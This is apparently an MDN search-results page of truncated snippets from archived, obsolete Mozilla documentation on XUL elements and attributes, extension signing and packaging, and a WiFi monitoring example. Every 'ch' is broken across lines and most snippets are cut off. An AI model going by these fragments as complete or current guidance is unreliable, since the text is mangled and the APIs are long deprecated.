ching local name up in the hierar
chy (until rea
ching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { attrs2 = thisitem.attributes; for (var i = 0; i < attrs2.length; i++) { // sear
ch for any prefixed xmlns declaration on thisitem whi
ch mat
ch prefixes found above with desired local name if (attrs2[i].nodename.mat
ch(xmlnsprefix) && attrs2[i].nodevalue === ns ) { // e.g., 'xmlns:xlink' and 'http://www.w3.org/1999/xlink' return attrs[j].nodevalue; ...
...on current element, conditionally on whether its prefix mat
ches a declared namespace see also http://www.w3.org/tr/dom-level-3-cor...mespaceurialgo ...
Code snippets - Archive of obsolete content
nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual ma
chines in pure ecmascript.
... browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, su
ch as page loading, with the tabbed browser, whi
ch is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and listen for page loads interaction between privileged and non-privileged code how to communicate from extensions to websites and vice-versa.
...rks javascript debugger service code used to interact with the javascript debugger service svg general general information and utilities svg animation animate svg using javascript and smil svg interacting with script using javascript and dom events to create interactive svg embedding svg in html and xul using svg to enhance html or xul based markup xul widgets html in xul for ri
ch tooltips dynamically embed html into a xul element to attain markup in a tooltip label and description special uses and line breaking examples tree setup and manipulation of trees using xul and js scrollbar
changing style of scrollbars.
... using the windows registry with xpcom how to read, write, modify, delete, enumerate, and wat
ch registry keys and values.
Multiple item extension packaging - Archive of obsolete content
a multiple item package provides the ability to package multiple installable bundles whi
ch can then be downloaded and installed by a user, or provided pre-packaged with an application or by an external program.
...if this is not done, any items that are not compatible will not be installed unless a compatibility
check discovers updated compatibility information.
...extension / theme manager) is used, the manager will display the individual items contained by the multiple item package after the download completes in the same manner that it would if the user had
chosen to install multiple individual items simultaneously.
...lable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications
chrome registration ...
Signing an extension - Archive of obsolete content
the certificate whi
ch the author pur
chased from verisign was directly installed to firefox.
... sign the basic usage of the signing tool is as follows: nss-signtool \ -d (path to the directory that contains your certificate database files) \ -k (your certificate nickname) \ -p (your certificate password) \ -x -z (output path/name of signed file) \ (path to your extension working directory that contains
chrome directory,
chrome.manifest file, install.rdf file, etc.) writing your password directly in the script is dangerous.
... for production, use su
ch a code: e
cho "enter password for object signing:" read mypassword nss-signtool \ -d /volumes/codesign/keystore \ -k "my company's verisign, inc.
...please
check the terms of service.
XML data - Archive of obsolete content
other te
chnologies can modify the structure of the display—for example, xbl can add content, and javascript can modify the dom.
... notes about this demonstration: the superscript 2 (in "million km²") a unicode
character, coded as \b2 in the css file.
...
challenge
change the stylesheet so that it displays the document as a table.
... (see the tables
chapter in the css specification for examples that you can adapt.) what next?
Monitoring WiFi access points - Archive of obsolete content
<html> <head> <title>wifi monitor example</title> <script> var count = 0; function test() { } test.prototype = { on
change: function (accesspoints) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var d = document.getelementbyid("d"); d.innerhtml = ""; for (var i=0; i<accesspoints.length; i++) { var a = accesspoints[i]; d.innerhtml += "<p>" + a.mac + " " + a.ssid + " " + a.signal + "</p>"; } var c = document.getelementbyid("c"); c.innerhtml = ...
... iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_error_no_interface; }, } netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var listener = new test(); var wifi_service = components.classes["@mozilla.org/wifi/monitor;1"].getservice(components.interfaces.nsiwifimonitor); wifi_service.startwat
ching(listener); </script> </head> <body> <div id="d"><p></p></div> <div id="c"><p></p></div> </body> </html> the nsiwifilistener object the first thing the code above does is to prototype the listener object that will be receiving notifications of
changes to the access point list.
...the on
change() method (lines 13 through 27) begins by enabling universalxpconnect privileges, then clearing out the div (d) that will receive the updated list of access points.
...the monitoring is started up on line 47, by calling the wifi monitoring service's startwat
ching() method.
Same-origin policy for file: URIs - Archive of obsolete content
for example, if you have a file foo.html whi
ch accesses another file bar.html and you have navigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.
... this policy affects anything that does same-origin
checks, including xmlhttprequest, xslt, and xbl.
... for cross-window dom access, ea
ch file is treated as a separate origin, with one exception: if a file is loaded from another file that would otherwise be able to load it following this same-origin policy, they are considered to have the same origin.
...the new security.fileuri.strict_origin_policy preference, whi
ch defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris.
How Mozilla finds its configuration files - Archive of obsolete content
how mozilla finds its configuration files mozilla looks into the binary %userprofile%\application data\mozilla\registry.dat file for its "registry", whi
ch contains, amongst other information, a pointer to the directory where the profile is stored (located at common/profiles/profilename/directory.
... the value contained in this key is a litteral value, no variables (su
ch as %userprofile%/mozprofile) allowed.
... we
chose to point this to the user's home directory (h:\mozilla).
...mozilla includes a profile manager, but unfortunately this always include a random part (salt) into the profile's filename, and thus cannot be used to point mozilla to a profile of the our
chosing.
Specifying the appearance - Archive of obsolete content
now that we have defined a panel in whi
ch to display an icon, we use css to specify whi
ch icon to display.
... for this we have to first create four icons, one for ea
ch tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("
chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("
chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("
chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("
chrome://navigator/content/tb-busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to hav...
...e to add these rules to ea
ch set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="
chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="
chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
... there is one rule for ea
ch possible tinderbox state.
Creating a hybrid CD - Archive of obsolete content
many mozilla files have long file names whi
ch makes creating the cd on a macintosh difficult because the hfs filesystem limits the length of file names to 32
characters.
...it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but tea
chtext cannot.
...i 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' 'mmpr' "codewarrior project file" .r ascii 'mps ' 'text' "rez file" .html ascii 'moss' 'text' "html file" .htm ascii 'moss' 'text' "html file" .txt ascii 'moss' 'text' "text file" readme ascii 'moss' 'text' "text file"
changes ascii 'moss' 'text' "text file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text' "text file" .gif raw 'ogle' 'giff' "gif file" .png raw 'ogle' 'png ' "png file" .jpg raw 'ogle' 'jpeg' "jpeg file" .jpeg raw 'ogle' 'jpeg' "jpeg file" .pl ascii 'mcpl' 'text' "perl file" .pm ascii 'mc...
...pl' 'text' "perl module file" .xml ascii 'r*
ch' 'text' "xml file" .xul ascii 'r*
ch' 'text' "xul file" .xbl ascii 'r*
ch' 'text' "xbl file" .css ascii 'r*
ch' 'text' "css file" .dtd ascii 'r*
ch' 'text' "dtd file" .js ascii 'r*
ch' 'text' "javascript file" .mp3 raw 'tvod' 'mpg3' "mpeg file" .mpg raw 'tvod' 'mpeg' "mpeg file" .mpeg raw 'tvod' 'mpeg' "mpeg file" .au raw 'tvod' 'ulaw' "audio file" * ascii 'ttxt' 'text' "text file" for more information about recording cds, see the cd-recordable faq.
datasources - Archive of obsolete content
these can be either internal datasources su
ch as rdf:bookmarks or a url.
...the element should have a template element as a
child.
... for rdf templates, the specified datasources are combined into a single composite datasource whi
ch holds the data from all of the datasources.
... for xml datasources, only one source is used, either the url of an xml file or an an
chor reference to another element within the same document.
equalsize - Archive of obsolete content
« xul reference home equalsize type: one of the values below this attribute can be used to make the
children of the element equal in size.
... always for a horizontally oriented element, this will make all of its
children have the width of the widest
child.
... for a vertically oriented element, this will make its
children all have the height of the tallest
child.
... never all of the
children are displayed at the size required by the content or as specified by the width and height attributes or the css width and height properties.
iscontainer - Archive of obsolete content
« xul reference home iscontainer type: boolean indicates whether rules mat
ch based on containment.
... if not specified, the rule may mat
ch regardless of whether a node is a container or not.
... true: the rule will only mat
ch nodes that are marked as containers.
... false: the rule will only mat
ch nodes that are not marked as containers.
isempty - Archive of obsolete content
« xul reference home isempty type: boolean indicates whether rules mat
ch based on emptyness.
... if not specified, the rule may mat
ch regardless of whether a node has
children or not.
... true: the rule will only mat
ch nodes that contain no
child elements.
... false: the rule will only mat
ch nodes that contain one or more
child elements.
preference.type - Archive of obsolete content
« xul reference home type type: one of the values below the preference type whi
ch should be one of the following values.
...usually a
checkbox would be connected to these preferences.
... int an integer string a string uni
char a unicode string wstring a localized string.
... in this situation the preference will save the path to a property file whi
ch contains the actual value of the preference.
sizemode - Archive of obsolete content
setting this attribute does not
change the window state.
... use window.maximize(), window.restore(), or window.minimize() to
change the window state.
...listen to the sizemode
change event dispat
ched to the dom window to get notified when the window state
changes.
... issues with this attribute (at least on firefox 3): sizemode is only updated when the value of the persist attribute on the root element (su
ch as <window>) contains sizemode.
timeout - Archive of obsolete content
« xul reference home timeout type: integer for autocomplete textboxes, the number of milliseconds before the textbox starts sear
ching for completions.
...for sear
ch textboxes, the number of milliseconds before the timer fires a command event.
...the timer starts after the user types a
character.
... if the user types another
character, the timer resets.
Attribute (XUL) - Archive of obsolete content
« xul reference home acceltext accessible accesskey activetitlebarcolor afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute auto
check autocompleteenabled autocompletepopup autocompletesear
ch autocompletesear
chparam autofill autofillaftermat
ch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons
checked
checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed ...
...lose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hide
chrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmat
ches homepage href icon id ignoreblurwhilesear
ching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left link...
...edpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomat
ch norestorefocus object observes onbeforeaccept onbookmarkgroup on
change onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsear
chcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onw...
...izardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny sear
chbutton sear
chsessions sear
chlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spell
check src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname ...
Uploading and Downloading Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), whi
ch was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very mu
ch welcome!
...this is a common te
chnique for uploading files as it is compatible with existing servers and formdata interface makes that task fairly simple.
... fet
ch upload please refer to uploading a file section inside the fet
ch article.
Menus - Archive of obsolete content
an extension will often wish to atta
ch a new command to a menu.
... to do this, the new menu will need to be laid over the existing menu whi
ch the item should be displayed upon.
...ext-viewbgimage views a background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-sear
chselect selected text is sear
ched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source context-viewinfo views the page info context-metadata views the properties context-spell-
check-e...
...nabled spell
check enabled
checkbox context-inspect inspects the element ...
Methods - Archive of obsolete content
« xul reference home acceptdialog additemtoselection addpane addprogresslistener addsession addtab addtabsprogresslistener advance advanceselectedtab appendcustomtoolbar appendgroup appenditem appendnotification blur cancel canceldialog centerwindowonscreen
checkadjacentelement clearresults clearselection click close collapsetoolbar contains decrease decreasepage docommand ensureelementisvisible ensureindexisvisible ensureselectedelementisvisible expandtoolbar extra1 extra2 focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffi...
...rstvisiblerow getindexofitem getitematindex getnextitem getnotificationbox getnotificationwithvalue getnumberofvisiblerows getpagebyid getpreviousitem getresultat getresultcount getresultvalueat getrowcount getsear
chat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsear
chcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferencefo...
...tifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto startediting stop stopediting swapdocshells syncsessions timedselect toggleitemselection related dom element methods dom:element.addeventlistener dom:element.append
child dom:element.comparedocumentposition dom:element.dispat
chevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagname dom:element.getelementsbytagnamens dom:element.getfeature fixme: brokenlink dom:element.getuserdata dom:element.hasattribute dom:element.hasattributens dom:element...
....hasattributes dom:element.has
childnodes dom:element.insertbefore dom:element.isequalnode dom:element.issamenode dom:element.issupported dom:element.lookupnamespaceuri dom:element.lookupprefix dom:element.normalize dom:element.removeattribute dom:element.removeattributenode dom:element.removeattributens dom:element.remove
child dom:element.removeeventlistener dom:element.replace
child dom:element.setattribute dom:element.setattributenode dom:element.setattributenodens dom:element.setattributens dom:element.setuserdata ...
view - Archive of obsolete content
« xul reference view type: nsitreeview the view for the tree, whi
ch is the object whi
ch generates the data to be displayed.
... you can assign an object whi
ch implements nsitreeview to this property.
... trees built from rdf or those whi
ch use treeitems directly will already have a view.
... functions available in the view allow one to retrieve the data within the cells, and determine whi
ch rows are nested within others.
XML Assignments - Archive of obsolete content
<assign var="?namelength" expr="string-length(@name)"/> <assign var="?siblings" expr="count(../*) - 1"/> </query> <action> <hbox uri="?" align="center"> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </hbox> </action> </template> </vbox> two assign elements are placed as
children of the query element.
...note that while the query expression uses the root node (or reference node) as the xpath context, the expressions for the assign element are evaluated using ea
ch result node as the context.
... for ea
ch result, the ?namelength variable will be assigned the length of the name attribute on the result node, and the ?siblings variable will be assigned the number of sibling nodes the result has.
...naturally, the number of siblings will be the same for all
children, but you could imagine a more complex query expression that generated nodes where this wasn't actually the case.
Toolbars - Archive of obsolete content
documentation xul s
chool: adding toolbars and toolbar buttons a helpful tutorial to creating toolbars and toolbar buttons.
... toolbar customization events a look at the events that are sent during toolbar customization; you can use these to be kept aware of
changes to toolbars.
... mailing list newsgroup rss feed #extdev irc
channel mozillazine forum about:addons newsletter mozilla's web-te
ch blog mozdev project owners planet mozilla other community links...
... tools dom inspector edit the live dom (firefox and thunderbird) mozilla labs add-on builder extension developer's extension a suite of development tools
chrome list view files in
chrome:// (firefox, thunderbird) extension wizard a web-based extension skeleton generator (firefox and thunderbird) ...
Window icons - Archive of obsolete content
starting with firefox 1.5, thunderbird 1.5, and xulrunner 1.8, you can specify an icon for a xul window by putting files named mywindow.ico (for windows) and mywindow.xpm or mywindow16.xpm (linux), where mywindow is the id of the <window> you want to atta
ch the icon to, in the
chrome/icons/default subfolder of your bundle.
... these icons will override the global icon files, whi
ch are located in app_dir/browser/
chrome/icons/default.
...global icon files currently take precedence and bundles are only sear
ched for icons whi
ch are not provided by the application.
... older versions to support older applications, su
ch as firefox 1.0, you need to copy the icons to app_dir/
chrome/icons/default manually on the first start (example code).
XUL Coding Style Guidelines - Archive of obsolete content
to make xul files easy to read and maintain, localization friendly, and portable across user agents, we need to have a set of coding style guidelines to ensure our objectives are a
chievable.
...disobeying them might not cause any parsing error for now, however, it might cause future maintenance heada
che: convert html files to xul files.
...use
chrome urls.
... author: tao
cheng newsgroup discussion mailing list original document information author(s): tao
cheng last updated date: december 10, 2004 copyright information: copyright (c) tao
cheng ...
assign - Archive of obsolete content
for more information, see xml_assignments attributes expr, var examples (example needed) attributes expr type: string for xml queries, an xpath expression whi
ch returns results.
... var type: string for the xul assign attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable su
ch as "?name".
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
binding - Archive of obsolete content
like the triple element in syntax, it can be used to bind a particular property of a mat
ched node to a particular variable name.
... predicate type: uri the predicate or property to mat
ch.
...xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
column - Archive of obsolete content
ea
ch child of the column element is placed in ea
ch successive cell of the grid.
... the column with the most
child elements determines the number of rows in ea
ch column.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, rows, row ...
deck - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that displays only one of its
children at a time.
... the selectedindex attribute determines whi
ch child is displayed.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related stack ...
groupbox - Archive of obsolete content
if a caption element is placed inside the groupbox, it will be used as a caption whi
ch appears along the top of the groupbox.
... properties accessibletype examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <
checkbox label="enabled"/> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, ori...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
row - Archive of obsolete content
ea
ch child of the row element is placed in ea
ch successive cell of the grid.
... the row with the most
child elements determines the number of columns in ea
ch row, whi
ch may be smaller or larger than the number of column elements defined in the grid.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, column, rows.
script - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] mu
ch like the html script element, this is used to declare a script to be used by the xul window.
... note: if the javascript file is in
chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
separator - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
... these classes should be used instead of
changing the style of the element directly since they will fit more naturally with the user's selected theme.
... thin a thinner separator, whi
ch is usually 0.5 ems.
<statusbarpanel> - Archive of obsolete content
this is a special type of button whi
ch is drawn differently.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
... these classes should be used instead of
changing the style of the element directly since they will fit more naturally with the user's selected theme.
tabpanels - Archive of obsolete content
the tabpanels element should be placed in a tabbox although it does not have to be a direct
child.
... the
children of the tabpanels element become the panels of the tabbox.
...a select event will be sent when the selected panel is
changed.
... methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributeno...
titlebar - Archive of obsolete content
this element can't be used to
change the platform-native titlebar of normal windows; instead, it's used to create custom titlebars for
chromeless windows.
